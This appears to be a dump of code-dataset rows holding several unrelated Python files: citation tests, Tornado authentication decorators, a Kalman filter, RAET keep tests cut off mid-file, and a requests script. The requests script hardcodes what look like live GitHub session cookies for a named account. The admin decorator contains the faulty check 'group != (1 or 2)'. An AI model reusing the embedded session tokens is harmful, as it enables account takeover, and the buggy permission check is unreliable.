hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
c83895326cb5f7ada1fba6650909649abe4aaf4e
104
py
Python
Chapter 02/ch2_33.py
bpbpublications/TEST-YOUR-SKILLS-IN-PYTHON-LANGUAGE
f6a4194684515495d00aa38347a725dd08f39a0c
[ "MIT" ]
null
null
null
Chapter 02/ch2_33.py
bpbpublications/TEST-YOUR-SKILLS-IN-PYTHON-LANGUAGE
f6a4194684515495d00aa38347a725dd08f39a0c
[ "MIT" ]
null
null
null
Chapter 02/ch2_33.py
bpbpublications/TEST-YOUR-SKILLS-IN-PYTHON-LANGUAGE
f6a4194684515495d00aa38347a725dd08f39a0c
[ "MIT" ]
null
null
null
import math print(math.radians(1000)) print(math.radians(180)) # using print() to print the result
20.8
36
0.721154
16
104
4.6875
0.625
0.24
0.426667
0
0
0
0
0
0
0
0
0.079545
0.153846
104
5
36
20.8
0.772727
0.317308
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0.666667
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
1
0
7
239bd39d62dfbdfc95adaa70c1af7b16fd5aed64
6,832
py
Python
tests/test_helpers.py
MITLibraries/transmogrifier
aa9544645b255c68c1239feac51f59e1b016d8aa
[ "Apache-2.0" ]
null
null
null
tests/test_helpers.py
MITLibraries/transmogrifier
aa9544645b255c68c1239feac51f59e1b016d8aa
[ "Apache-2.0" ]
null
null
null
tests/test_helpers.py
MITLibraries/transmogrifier
aa9544645b255c68c1239feac51f59e1b016d8aa
[ "Apache-2.0" ]
null
null
null
import transmogrifier.models as timdex from transmogrifier.helpers import generate_citation, parse_xml_records def test_generate_citation_with_required_fields_only(): extracted_data = { "title": "A Very Important Paper", "source_link": "https://example.com/paper", } assert ( generate_citation(extracted_data) == "A Very Important Paper. https://example.com/paper" ) def test_generate_citation_includes_only_expected_contributors(): extracted_data = { "title": "A Very Important Paper", "source_link": "https://example.com/paper", "contributors": [ timdex.Contributor(value="Contributor with no kind"), timdex.Contributor( value="Contributor with excluded kind", kind="Illustrator" ), timdex.Contributor(value="Contributor One", kind="Author"), timdex.Contributor(value="Contributor Two", kind="Creator"), ], } assert ( generate_citation(extracted_data) == "Contributor One, Contributor Two. A Very Important Paper. " "https://example.com/paper" ) def test_generate_citation_includes_only_publication_date(): extracted_data = { "title": "A Very Important Paper", "source_link": "https://example.com/paper", "dates": [ timdex.Date(value="Date with no kind"), timdex.Date(value="Not a publication date", kind="Collection date"), timdex.Date(value="2022-01-01", kind="Publication date"), ], } assert ( generate_citation(extracted_data) == "A Very Important Paper. 2022-01-01. https://example.com/paper" ) def test_generate_citation_handles_publication_date_with_no_value(): extracted_data = { "title": "A Very Important Paper", "source_link": "https://example.com/paper", "dates": [timdex.Date(kind="Publication date")], } assert ( generate_citation(extracted_data) == "A Very Important Paper. https://example.com/paper" ) def test_generate_citation_with_creator_and_publication_date(): extracted_data = { "title": "A Very Important Paper", "source_link": "https://example.com/paper", "contributors": [timdex.Contributor(kind="author", value="Smith, Susie Q.")], "dates": [timdex.Date(kind="Publication date", value="2022")], } assert ( generate_citation(extracted_data) == "Smith, Susie Q. (2022): A Very Important Paper. https://example.com/paper" ) def test_generate_citation_with_creator_no_publication_date(): extracted_data = { "title": "A Very Important Paper", "source_link": "https://example.com/paper", "contributors": [timdex.Contributor(kind="author", value="Smith, Susie Q.")], } assert ( generate_citation(extracted_data) == "Smith, Susie Q. A Very Important Paper. https://example.com/paper" ) def test_generate_citation_with_publication_date_no_creator(): extracted_data = { "title": "A Very Important Paper", "source_link": "https://example.com/paper", "dates": [timdex.Date(kind="Publication date", value="2022")], } assert ( generate_citation(extracted_data) == "A Very Important Paper. 2022. https://example.com/paper" ) def test_generate_citation_with_no_publisher(): extracted_data = { "title": "A Very Important Paper", "source_link": "https://example.com/paper", "content_type": ["Article"], "contributors": [timdex.Contributor(kind="author", value="Smith, Susie Q.")], "dates": [timdex.Date(kind="Publication date", value="2022")], } assert ( generate_citation(extracted_data) == "Smith, Susie Q. (2022): A Very Important Paper. Article. " "https://example.com/paper" ) def test_generate_citation_includes_only_first_publisher(): extracted_data = { "title": "A Very Important Paper", "source_link": "https://example.com/paper", "contributors": [timdex.Contributor(kind="author", value="Smith, Susie Q.")], "dates": [timdex.Date(kind="Publication date", value="2022")], "publication_information": [ "Massachusetts Institute of Technology", "Additional publication information", ], } assert ( generate_citation(extracted_data) == "Smith, Susie Q. (2022): A Very Important Paper. Massachusetts Institute of " "Technology. https://example.com/paper" ) def test_generate_citation_with_no_resource_type(): extracted_data = { "title": "A Very Important Paper", "source_link": "https://example.com/paper", "contributors": [timdex.Contributor(kind="author", value="Smith, Susie Q.")], "dates": [timdex.Date(kind="Publication date", value="2022")], "publication_information": ["Massachusetts Institute of Technology"], } assert ( generate_citation(extracted_data) == "Smith, Susie Q. (2022): A Very Important Paper. Massachusetts Institute of " "Technology. https://example.com/paper" ) def test_generate_citation_includes_all_resource_types(): extracted_data = { "title": "A Very Important Paper", "source_link": "https://example.com/paper", "content_type": ["Article", "Paper"], "contributors": [timdex.Contributor(kind="author", value="Smith, Susie Q.")], "dates": [timdex.Date(kind="Publication date", value="2022")], "publication_information": ["Massachusetts Institute of Technology"], } assert ( generate_citation(extracted_data) == "Smith, Susie Q. (2022): A Very Important Paper. Massachusetts Institute of " "Technology. Article, Paper. https://example.com/paper" ) def test_generate_citation_with_all_fields(): extracted_data = { "title": "A Very Important Paper", "source_link": "https://example.com/paper", "content_type": ["Article"], "contributors": [ timdex.Contributor(kind="author", value="Smith, Susie Q."), timdex.Contributor(kind="creator", value="Jones, John J."), ], "dates": [timdex.Date(kind="Publication date", value="2022")], "publication_information": ["Massachusetts Institute of Technology"], } assert ( generate_citation(extracted_data) == "Smith, Susie Q., Jones, John J. (2022): A Very Important Paper. " "Massachusetts Institute of Technology. Article. https://example.com/paper" ) def test_parse_xml_records_returns_record_iterator(): records = parse_xml_records("tests/fixtures/datacite/datacite_records.xml") assert len(list(records)) == 38
36.534759
88
0.637881
734
6,832
5.743869
0.111717
0.094877
0.079696
0.108159
0.835389
0.807163
0.807163
0.799099
0.777989
0.776091
0
0.013978
0.225117
6,832
186
89
36.731183
0.782395
0
0
0.58125
1
0
0.409104
0.019906
0
0
0
0
0.08125
1
0.08125
false
0
0.1625
0
0.24375
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
7b1af1d31ef03e2826c5887cdefe1c6632c9ea8b
2,803
py
Python
utils/auth.py
john8680/tequila
23d8a8dae4843bc42cd9dba76d6c07296b0a8632
[ "Apache-2.0" ]
3
2019-09-27T02:56:54.000Z
2020-06-15T06:09:54.000Z
utils/auth.py
john8680/tequila
23d8a8dae4843bc42cd9dba76d6c07296b0a8632
[ "Apache-2.0" ]
null
null
null
utils/auth.py
john8680/tequila
23d8a8dae4843bc42cd9dba76d6c07296b0a8632
[ "Apache-2.0" ]
2
2019-09-27T02:56:59.000Z
2019-10-15T10:57:36.000Z
# -*- coding: utf-8 -*- import functools import urllib.parse as urlparse from urllib.parse import urlencode from tornado.web import HTTPError from database.sql_utils.auth import get_group_by_user def login_required(method): @functools.wraps(method) def wrapper(self, *args, **kwargs): current_user = self.current_user if not current_user: if self.request.method in ("GET", "HEAD"): url = self.get_login_url() if "?" not in url: if urlparse.urlsplit(url).scheme: # if login url is absolute, make next absolute too next_url = self.request.full_url() else: next_url = self.request.uri url += "?" + urlencode(dict(next=next_url)) self.redirect(url) return raise HTTPError(403) return method(self, *args, **kwargs) return wrapper def admin_required(method): @functools.wraps(method) def wrapper(self, *args, **kwargs): current_user = self.current_user if not self.current_user: if self.request.method in ("GET", "HEAD"): url = self.get_login_url() if "?" not in url: if urlparse.urlsplit(url).scheme: # if login url is absolute, make next absolute too next_url = self.request.full_url() else: next_url = self.request.uri url += "?" + urlencode(dict(next=next_url)) self.redirect(url) return raise HTTPError(403) group = yield get_group_by_user(current_user) if group != (1 or 2): raise HTTPError(403) return method(self, *args, **kwargs) return wrapper def superuser_required(method): @functools.wraps(method) def wrapper(self, *args, **kwargs): current_user = self.current_user if not self.current_user: if self.request.method in ("GET", "HEAD"): url = self.get_login_url() if "?" not in url: if urlparse.urlsplit(url).scheme: # if login url is absolute, make next absolute too next_url = self.request.full_url() else: next_url = self.request.uri url += "?" + urlencode(dict(next=next_url)) self.redirect(url) return raise HTTPError(403) group = yield get_group_by_user(current_user) if group != 2: raise HTTPError(403) return method(self, *args, **kwargs) return wrapper
34.604938
74
0.529433
311
2,803
4.636656
0.189711
0.058252
0.068655
0.074896
0.875173
0.875173
0.875173
0.875173
0.875173
0.875173
0
0.010901
0.378166
2,803
81
75
34.604938
0.816408
0.059936
0
0.830769
0
0
0.010262
0
0
0
0
0
0
1
0.092308
false
0
0.076923
0
0.307692
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
7b2b294164bb1f5984534e2160f5390337a7353b
2,455
py
Python
requests_test/6-requests_cookies.py
Adolph-Anthony/study-reptile
d4ce637a25fba88bafb7f967b1813107792deab0
[ "MIT" ]
null
null
null
requests_test/6-requests_cookies.py
Adolph-Anthony/study-reptile
d4ce637a25fba88bafb7f967b1813107792deab0
[ "MIT" ]
null
null
null
requests_test/6-requests_cookies.py
Adolph-Anthony/study-reptile
d4ce637a25fba88bafb7f967b1813107792deab0
[ "MIT" ]
null
null
null
import requests url = 'https://github.com/Adolph-Anthony' headers = { 'Cookie': '_octo=GH1.1.73506579.1538137739; _ga=GA1.2.1588836414.1538137744; _device_id=fad5ffb8a3d040a102353882883a84ed; user_session=vbcvPKjl1SaN25unnWZDF0ouw4BB3QmWbI4J23XQVEBwhWNS; __Host-user_session_same_site=vbcvPKjl1SaN25unnWZDF0ouw4BB3QmWbI4J23XQVEBwhWNS; logged_in=yes; dotcom_user=Adolph-Anthony; tz=Asia%2FShanghai; _gh_sess=dERCbURLQmZ2ODl5bkFXVjdOZ1cwZWRueXhWZllHb2V4L1pBZUk4bjFNUTJUUHJBY0QzRmhWTEh4TVZKVnJBK2Y2Uyt0RlU3QnJwRnBVc0ZFNzVVVlI4UHY2ZFNaNWtqSU1HWmxMNUpJc1V0OGJOSy9NM0duVnVkZ1lzMWVEaXRvcWVxR2FaTExRWkFoNWRVRlo1LzFzWUpybXNiVng5SC95L0NjK0NVUWhKbkJ6M2xldzFJRXY4RC9iY0laTmZXVlZxNk5jSWNlVG1jakRZZ05Jem80UnZPb0R4Z0RkUDF0N3NGaVVxQnk4M1ZmajZ0K3N2c3h1VTIzbFFhdHUxUElhQmNGWTZjZTZyUDNDbGdudDJJQ1BzSmRXSFd5QkNLdXVzRTJRNjFWUVFYcDFFY3BqSE1RNWpMSUFwbDVWN2EyUThvZlZMZGxxQ2NKQUJRRmdqdDlnPT0tLUlnbXBOemwyM2lzMU1SN0h1L1lTV0E9PQ%3D%3D--eb8fc3b519aa73f802b8587c25dc619a86958f44', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36' } # 构建cookie字典 temp= '_octo=GH1.1.73506579.1538137739; _ga=GA1.2.1588836414.1538137744; _device_id=fad5ffb8a3d040a102353882883a84ed; user_session=vbcvPKjl1SaN25unnWZDF0ouw4BB3QmWbI4J23XQVEBwhWNS; __Host-user_session_same_site=vbcvPKjl1SaN25unnWZDF0ouw4BB3QmWbI4J23XQVEBwhWNS; logged_in=yes; dotcom_user=Adolph-Anthony; tz=Asia%2FShanghai; _gh_sess=dERCbURLQmZ2ODl5bkFXVjdOZ1cwZWRueXhWZllHb2V4L1pBZUk4bjFNUTJUUHJBY0QzRmhWTEh4TVZKVnJBK2Y2Uyt0RlU3QnJwRnBVc0ZFNzVVVlI4UHY2ZFNaNWtqSU1HWmxMNUpJc1V0OGJOSy9NM0duVnVkZ1lzMWVEaXRvcWVxR2FaTExRWkFoNWRVRlo1LzFzWUpybXNiVng5SC95L0NjK0NVUWhKbkJ6M2xldzFJRXY4RC9iY0laTmZXVlZxNk5jSWNlVG1jakRZZ05Jem80UnZPb0R4Z0RkUDF0N3NGaVVxQnk4M1ZmajZ0K3N2c3h1VTIzbFFhdHUxUElhQmNGWTZjZTZyUDNDbGdudDJJQ1BzSmRXSFd5QkNLdXVzRTJRNjFWUVFYcDFFY3BqSE1RNWpMSUFwbDVWN2EyUThvZlZMZGxxQ2NKQUJRRmdqdDlnPT0tLUlnbXBOemwyM2lzMU1SN0h1L1lTV0E9PQ%3D%3D--eb8fc3b519aa73f802b8587c25dc619a86958f44' # print(type(temp)) # 稳妥方案 cookie_list = temp.split('; ') cookies = {cookie.split('=')[0]:cookie.split('=')[-1] for cookie in cookie_list} # cookies = {} # for cookie in cookie_list: # cookies[cookie.split('=')[0]]=cookie.split('=')[-1] # print(cookies) response = requests.get(url,headers = headers) # resp = requests.get(url, headers=headers, cookies=cookies) # print(resp.text) with open('github3.html','wb') as f: # 发送带请求头的请求 f.write(response.content)
76.71875
885
0.870468
177
2,455
11.898305
0.474576
0.020893
0.007597
0.015195
0.854226
0.827635
0.804368
0.774929
0.774929
0.774929
0
0.164103
0.046843
2,455
32
886
76.71875
0.735897
0.087576
0
0
0
0.230769
0.86009
0.741704
0
0
0
0
0
1
0
false
0
0.076923
0
0.076923
0.076923
0
0
1
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
1
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
10
9e674edc87bb131a889fc10dad0bc8e5ccbf7d6c
2,053
py
Python
src/pose_estimation/pose_estimation/rigid_body_filters.py
frank20a/collaborative-sats
9d26d3c8f66cf43bbd514f02434851439e746797
[ "MIT" ]
null
null
null
src/pose_estimation/pose_estimation/rigid_body_filters.py
frank20a/collaborative-sats
9d26d3c8f66cf43bbd514f02434851439e746797
[ "MIT" ]
6
2022-03-22T18:54:38.000Z
2022-03-31T16:42:37.000Z
src/pose_estimation/pose_estimation/rigid_body_filters.py
frank20a/collaborative-sats
9d26d3c8f66cf43bbd514f02434851439e746797
[ "MIT" ]
null
null
null
import cv2 as cv import numpy as np def const_accel(dt = 1.0/30): kf = cv.KalmanFilter(18, 6, 0) state = np.zeros((18, 1), np.float32) # Transition matrix position/orientation tmp = np.eye(9, dtype=np.float32) tmp[0:3, 3:6] = np.eye(3, dtype=np.float32) * dt tmp[3:6, 6:9] = np.eye(3, dtype=np.float32) * dt tmp[0:3, 6:9] = np.eye(3, dtype=np.float32) * dt * dt / 2 # Transition matrix kf.transitionMatrix = np.concatenate(( np.concatenate((tmp, np.zeros((9, 9))), axis=1), np.concatenate((np.zeros((9, 9)), tmp), axis=1)), axis=0 ) # Measurement matrix tmp = np.zeros((6, 18), dtype=np.float32) tmp[0:3, 0:3] = np.eye(3, dtype=np.float32) tmp[3:6, 9:12] = np.eye(3, dtype=np.float32) kf.measurementMatrix = tmp # Process/Measurement noise covariance & Error kf.processNoiseCov = 1e-5 * np.eye(18, dtype=np.float32) kf.measurementNoiseCov = 1e-4 * np.eye(6, dtype=np.float32) kf.errorCovPost = np.eye(18, dtype=np.float32) return kf def const_vel(dt = 1.0/30): kf = cv.KalmanFilter(12, 6, 0) state = np.zeros((12, 1), np.float32) # Transition matrix position/orientation tmp = np.eye(9, dtype=np.float32) tmp[0:3, 3:6] = np.eye(3, dtype=np.float32) * dt # Transition matrix kf.transitionMatrix = np.concatenate(( np.concatenate((tmp, np.zeros((6, 6))), axis=1), np.concatenate((np.zeros((6, 6)), tmp), axis=1)), axis=0 ) # Measurement matrix tmp = np.zeros((6, 12), dtype=np.float32) tmp[0:3, 0:3] = np.eye(3, dtype=np.float32) tmp[3:6, 6:9] = np.eye(3, dtype=np.float32) kf.measurementMatrix = tmp # Process/Measurement noise covariance & Error kf.processNoiseCov = 1e-5 * np.eye(18, dtype=np.float32) kf.measurementNoiseCov = 1e-4 * np.eye(6, dtype=np.float32) kf.errorCovPost = np.eye(18, dtype=np.float32) return kf filters = { 'const_accel': const_accel, 'const_vel': const_vel }
29.753623
63
0.600585
321
2,053
3.82243
0.152648
0.146699
0.205379
0.07172
0.899756
0.876936
0.836186
0.800326
0.797881
0.776691
0
0.092298
0.234778
2,053
68
64
30.191176
0.688733
0.117389
0
0.454545
0
0
0.011093
0
0
0
0
0
0
1
0.045455
false
0
0.045455
0
0.136364
0
0
0
0
null
0
1
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
c8c66d1efff6255a777ea84e6147ca1d496059f0
92,740
py
Python
raet/road/test/test_keeping.py
renich/raet
6bd9c268db07d24373db734e63e11b6fff5f3e0e
[ "Apache-2.0" ]
36
2015-02-10T20:39:59.000Z
2022-01-09T18:36:47.000Z
raet/road/test/test_keeping.py
renich/raet
6bd9c268db07d24373db734e63e11b6fff5f3e0e
[ "Apache-2.0" ]
11
2016-10-10T17:19:47.000Z
2020-04-23T16:35:47.000Z
raet/road/test/test_keeping.py
renich/raet
6bd9c268db07d24373db734e63e11b6fff5f3e0e
[ "Apache-2.0" ]
5
2015-06-01T09:00:00.000Z
2020-04-23T17:06:20.000Z
# -*- coding: utf-8 -*- ''' Tests to try out keeping. Potentially ephemeral ''' # pylint: skip-file # pylint: disable=C0103 import sys if sys.version_info < (2, 7): import unittest2 as unittest else: import unittest import os import sys import time import tempfile import shutil import socket from ioflo.aid.odicting import odict from ioflo.aid.timing import Timer, StoreTimer from ioflo.base.storing import Store from ioflo.base.consoling import getConsole console = getConsole() # Import raet libs from raet.abiding import * # import globals from raet import raeting, nacling from raet.road import estating, keeping, stacking if sys.platform == 'win32': TEMPDIR = 'c:/temp' if not os.path.exists(TEMPDIR): os.mkdir(TEMPDIR) else: TEMPDIR = '/tmp' def setUpModule(): console.reinit(verbosity=console.Wordage.concise) def tearDownModule(): pass class BasicTestCase(unittest.TestCase): """""" def setUp(self): self.store = Store(stamp=0.0) self.timer = StoreTimer(store=self.store, duration=1.0) self.base = tempfile.mkdtemp(prefix="raet", suffix="base", dir=TEMPDIR) def tearDown(self): if os.path.exists(self.base): shutil.rmtree(self.base) def createRoadData(self, name, base, auto=None): ''' Creates odict and populates with data to setup road stack { name: stack name local estate name dirpath: dirpath for keep files basedirpath: base dirpath for keep files sighex: signing key verhex: verify key prihex: private key pubhex: public key } ''' data = odict() data['name'] = name data['auto'] = auto data['basedirpath'] = os.path.join(base, 'road', 'keep') data['dirpath'] = os.path.join(data['basedirpath'], name) signer = nacling.Signer() data['sighex'] = str(signer.keyhex.decode('ISO-8859-1')) data['verhex'] = str(signer.verhex.decode('ISO-8859-1')) privateer = nacling.Privateer() data['prihex'] = str(privateer.keyhex.decode('ISO-8859-1')) data['pubhex'] = str(privateer.pubhex.decode('ISO-8859-1')) return data def createRoadStack(self, data, uid=None, main=None, auto=None, ha=None, mutable=None, clean=None): ''' Creates stack and local estate from data with local estate.uid = uid stack.main = main stack.auto = auto stack.name = data['name'] local estate.name = data['name'] local estate.ha = ha returns stack ''' stack = stacking.RoadStack(store=self.store, name=data['name'], uid=uid, ha=ha, sigkey=data['sighex'], prikey=data['prihex'], auto=auto if auto is not None else data['auto'], main=main, mutable=mutable, basedirpath=data['basedirpath'], clean=clean, ) return stack def join(self, initiator, correspondent, deid=None, duration=1.0): ''' Utility method to do join. Call from test method. ''' console.terse("\nJoin Transaction **************\n") if not initiator.remotes: remote = initiator.addRemote(estating.RemoteEstate(stack=initiator, fuid=0, # vacuous join sid=0, # always 0 for join ha=correspondent.local.ha)) deid = remote.uid initiator.join(uid=deid) self.service(correspondent, initiator, duration=duration) def allow(self, other, main, duration=1.0): ''' Utility method to do allow. Call from test method. ''' console.terse("\nAllow Transaction **************\n") other.allow() self.service(main, other, duration=duration) def message(self, main, other, mains, others, duration=2.0): ''' Utility to send messages both ways ''' for msg in mains: main.transmit(msg) for msg in others: other.transmit(msg) self.service(main, other, duration=duration) def service(self, main, other, duration=1.0): ''' Utility method to service queues. Call from test method. ''' self.timer.restart(duration=duration) while not self.timer.expired: other.serviceAll() main.serviceAll() if not (main.transactions or other.transactions): break self.store.advanceStamp(0.1) time.sleep(0.1) def flushRxMsgs(self, stack): ''' Flush any queued up message packets in RxMessages ''' while stack.rxMsgs: stack.rxMsgs.popleft() def testBasic(self): ''' Basic keep setup for stack keep persistence load and dump ''' console.terse("{0}\n".format(self.testBasic.__doc__)) auto = raeting.AutoMode.once.value mainData = self.createRoadData(name='main', base=self.base, auto=auto) keeping.clearAllKeep(mainData['dirpath']) stack = self.createRoadStack(data=mainData, main=True, ha=None) #default ha is ("", raeting.RAET_PORT) #console.terse("{0} keep dirpath = {1}\n".format(stack.name, stack.keep.dirpath)) self.assertTrue(stack.keep.dirpath.endswith(os.path.join('road','keep','main'))) self.assertTrue(stack.keep.localfilepath.endswith(os.path.join('road','keep','main','local','estate.json'))) self.assertTrue(stack.keep.localrolepath.endswith(os.path.join('road','keep','main','role','local','role.json'))) self.assertTrue(stack.ha, ("0.0.0.0", raeting.RAET_PORT)) # test round trip stack.clearLocalKeep() stack.clearRemoteKeeps() stack.clearLocalRoleKeep() stack.clearRemoteRoleKeeps() stack.dumpLocal() stack.dumpRemotes() self.assertTrue(os.path.exists(stack.keep.localdirpath)) self.assertTrue(os.path.exists(stack.keep.remotedirpath)) self.assertTrue(os.path.exists(stack.keep.localfilepath)) self.assertTrue(os.path.exists(stack.keep.roledirpath)) self.assertTrue(os.path.exists(stack.keep.remoteroledirpath)) self.assertTrue(os.path.exists(stack.keep.localrolepath)) localKeepData = stack.keep.loadLocalData() console.terse("Local keep data = '{0}'\n".format(localKeepData)) python_fqdn = socket.getfqdn('127.0.0.1') validLocalKeepData = odict([ ('name', mainData['name']), ('uid', 1), ('ha', ['127.0.0.1', 7530]), ('iha', None), ('natted', None), ('fqdn', python_fqdn), ('dyned', None), ('sid', 0), ('puid', 1), ('aha', ['0.0.0.0', 7530]), ('role', mainData['name']), ('sighex', mainData['sighex']), ('prihex', mainData['prihex']), ]) self.assertDictEqual(localKeepData, validLocalKeepData) remoteKeepData = stack.keep.loadAllRemoteData() console.terse("Remote keep data = '{0}'\n".format(remoteKeepData)) self.assertDictEqual(remoteKeepData, {}) # test round trip with stack methods stack.restoreLocal() localKeepData = odict([ ('uid', stack.local.uid), ('name', stack.local.name), ('ha', list(stack.local.ha)), ('iha', None), ('natted', None), ('fqdn', stack.local.fqdn), ('dyned', stack.local.dyned), ('sid', stack.local.sid), ('puid', stack.puid), ('aha', list(stack.ha)), ('role', stack.local.role), ('sighex', str(stack.local.signer.keyhex.decode('ISO-8859-1'))), ('prihex', str(stack.local.priver.keyhex.decode('ISO-8859-1'))), ]) self.assertDictEqual(localKeepData, validLocalKeepData) stack.removeAllRemotes(clear=False) stack.restoreRemotes() self.assertDictEqual(stack.remotes, {}) # round trip with non empty remote data other1Data = self.createRoadData(name='other1', base=self.base, auto=raeting.AutoMode.once.value, ) stack.addRemote(estating.RemoteEstate(stack=stack, name=other1Data['name'], ha=('127.0.0.1', 7531), verkey=other1Data['verhex'], pubkey=other1Data['pubhex'])) other2Data = self.createRoadData(name='other2', base=self.base, auto=raeting.AutoMode.once.value,) stack.addRemote(estating.RemoteEstate(stack=stack, name=other2Data['name'], ha=('127.0.0.1', 7532), verkey=other2Data['verhex'], pubkey=other2Data['pubhex'])) self.assertEqual(len(stack.remotes), len(stack.nameRemotes)) for uid, remote in stack.remotes.items(): self.assertEqual(stack.nameRemotes[remote.name], remote) self.assertEqual(stack.uidRemotes[remote.uid], remote) stack.dumpRemotes() self.assertTrue(os.path.exists(os.path.join(stack.keep.remotedirpath, "{0}.{1}.{2}".format(stack.keep.prefix, other1Data['name'], stack.keep.ext)))) self.assertTrue(os.path.exists(os.path.join(stack.keep.remotedirpath, "{0}.{1}.{2}".format(stack.keep.prefix, other2Data['name'], stack.keep.ext)))) self.assertTrue(os.path.exists(os.path.join(stack.keep.remoteroledirpath, "{0}.{1}.{2}".format('role', other1Data['name'], stack.keep.ext)))) self.assertTrue(os.path.exists(os.path.join(stack.keep.remoteroledirpath, "{0}.{1}.{2}".format('role', other2Data['name'], stack.keep.ext)))) for remote in stack.remotes.values(): path = os.path.join(stack.keep.remotedirpath, "{0}.{1}.{2}".format(stack.keep.prefix, remote.name, stack.keep.ext)) self.assertTrue(os.path.exists(path)) remoteKeepData = stack.keep.loadAllRemoteData() python_fqdn = socket.getfqdn('127.0.0.1') console.terse("Remote keep data = '{0}'\n".format(remoteKeepData)) validRemoteKeepData = { 'other1': {'name': other1Data['name'], 'uid': 2, 'fuid': 0, 'ha': ['127.0.0.1', 7531], 'iha': None, 'natted': None, 'fqdn': python_fqdn, 'dyned': None, 'sid': 0, 'main': False, 'kind': 0, 'joined': None, 'acceptance': None, 'verhex': other1Data['verhex'], 'pubhex': other1Data['pubhex'], 'role': other1Data['name'],}, 'other2': {'name': other2Data['name'], 'uid': 3, 'fuid': 0, 'ha': ['127.0.0.1', 7532], 'iha': None, 'natted': 